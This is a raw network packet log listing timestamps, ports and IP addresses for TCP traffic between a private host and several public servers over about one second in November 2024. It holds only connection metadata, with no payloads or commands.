Nov 24, 2024 14:24:37.364850998 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.385459900 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.385473967 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.385550976 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.403326988 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.403409958 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.403482914 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.404305935 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.404376984 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.404413939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.405700922 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.405838966 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.405885935 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.407666922 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.407774925 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.407845974 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.424556971 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.424634933 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.424755096 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.446204901 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.446326017 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.446476936 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.447160006 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.447205067 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.447269917 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.448626041 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.448810101 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.448853016 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.448906898 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.448952913 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.450717926 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.450797081 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.450858116 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.465670109 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.465684891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.465774059 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.488774061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.488881111 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.489046097 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.489686012 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.489809036 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.489876986 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.491650105 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.492218971 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.492274046 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.492362976 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.494124889 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.494183064 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.503478050 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.503546953 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.503614902 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.510050058 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.510122061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.510247946 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.531615019 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.531716108 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.531864882 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.532562017 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.532665014 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.533081055 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.534055948 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.534125090 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.534207106 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.535816908 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.552519083 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.552551031 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.552649021 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.595240116 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.595266104 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.595335007 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.633922100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.634048939 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.634345055 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.634502888 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.634712934 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.636392117 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.636452913 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.636476040 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.636523008 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.637665987 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.637810946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.637923956 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.639646053 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.639759064 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.639837027 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.641581059 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.641705036 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.641772985 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.643538952 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.643640995 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.643737078 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.645401955 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.645484924 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.645612955 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.647356987 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.647485971 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.647805929 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.649317980 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.649465084 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.649542093 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.661746025 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.661854982 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.661957026 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.662902117 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.662983894 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.663059950 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.676794052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.676996946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.677064896 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.677689075 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.695446014 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.695477962 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.695621014 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.704250097 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.704339981 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.704399109 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.705154896 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.705250978 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.705332041 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.719331026 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.719518900 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.719594002 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.720246077 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.723519087 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.723563910 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.723587036 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.744457960 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.744540930 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.744604111 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.746738911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.746779919 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.746804953 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.747665882 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.747718096 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.747755051 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.787215948 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.787300110 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.787322998 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.828633070 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.831377029 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.831455946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.831598043 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.832288027 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.832393885 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.833090067 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.834229946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.834837914 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.834909916 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.834954977 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.836779118 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.836895943 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.837033987 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.838712931 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.838762045 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.838797092 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.853741884 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.853755951 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.853804111 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.874677896 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.874789953 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.874892950 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.875598907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.875694036 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.875792027 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.877568007 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.877639055 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.917500019 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.917623997 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.917705059 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.918422937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.918555021 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.920398951 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.920463085 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.933554888 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.933644056 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.933753967 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.934437990 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.936197996 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.959656954 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.959744930 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.959909916 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.960597038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.960673094 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.961091995 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:37.979252100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.979278088 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:37.979547024 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.002440929 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.002573013 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.002695084 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.003397942 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.003472090 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.005084991 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.019383907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.019481897 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.019596100 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.020354986 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.050182104 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.050285101 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.050355911 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.051080942 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.051189899 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.051327944 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.066677094 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.066752911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.066828012 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.074579954 CET	443	49833	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:38.074657917 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:38.075798988 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:38.075805902 CET	443	49833	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:38.076284885 CET	443	49833	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:38.087714911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.087774992 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.087794065 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.088860989 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.088920116 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.089009047 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.090044975 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.090114117 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.090178013 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.091281891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.091331005 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.091423988 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.093133926 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.093368053 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.125472069 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:38.130565882 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.130671978 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.131486893 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.131544113 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.131642103 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.131717920 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.133383989 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.133970976 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.134016991 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.134082079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.134521008 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:38.134597063 CET	49833	443	192.168.2.4	104.21.10.6
Nov 24, 2024 14:24:38.134689093 CET	443	49833	104.21.10.6	192.168.2.4
Nov 24, 2024 14:24:38.136137009 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.136224985 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.136279106 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.137819052 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.137969971 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.173501015 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.174029112 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.174098969 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.174439907 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.174653053 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.176362038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.176465988 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.176578045 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.176578045 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.178077936 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.178242922 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.178297997 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.180118084 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.180263042 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.180351019 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.215996027 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.216068029 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.216156960 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.216959000 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.217097044 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.217150927 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.218944073 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.219463110 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.219535112 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.219674110 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.221379042 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.221474886 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.221488953 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.223318100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.223398924 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.258136034 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.258281946 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.258353949 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.259105921 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.259268999 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.260528088 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.260590076 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.260683060 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.260775089 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.262489080 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.262571096 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.262624025 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.263176918 CET	80	49832	185.215.113.43	192.168.2.4
Nov 24, 2024 14:24:38.264097929 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.264115095 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.264154911 CET	49832	80	192.168.2.4	185.215.113.43
Nov 24, 2024 14:24:38.264193058 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.265991926 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.266185045 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:38.266522884 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:38.301198959 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.301305056 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.301394939 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.302172899 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.302225113 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.302263021 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.322495937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.322539091 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.322623968 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.365899086 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.365966082 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.366019964 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.386605978 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:38.386673927 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:38.386750937 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:38.386770010 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:38.386934996 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:38.389429092 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.389534950 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.389621973 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.390557051 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.390719891 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.390794039 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.392298937 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.392894030 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.392992020 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.393022060 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.394911051 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.394967079 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.394995928 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.396830082 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.396897078 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.396908045 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.398727894 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.398863077 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.398897886 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.400655985 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.400729895 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.400741100 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.453635931 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.472773075 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.472887993 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.473036051 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:38.473747015 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.473906040 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:38.473958969 CET	49808	80	192.168.2.4	34.116.198.130
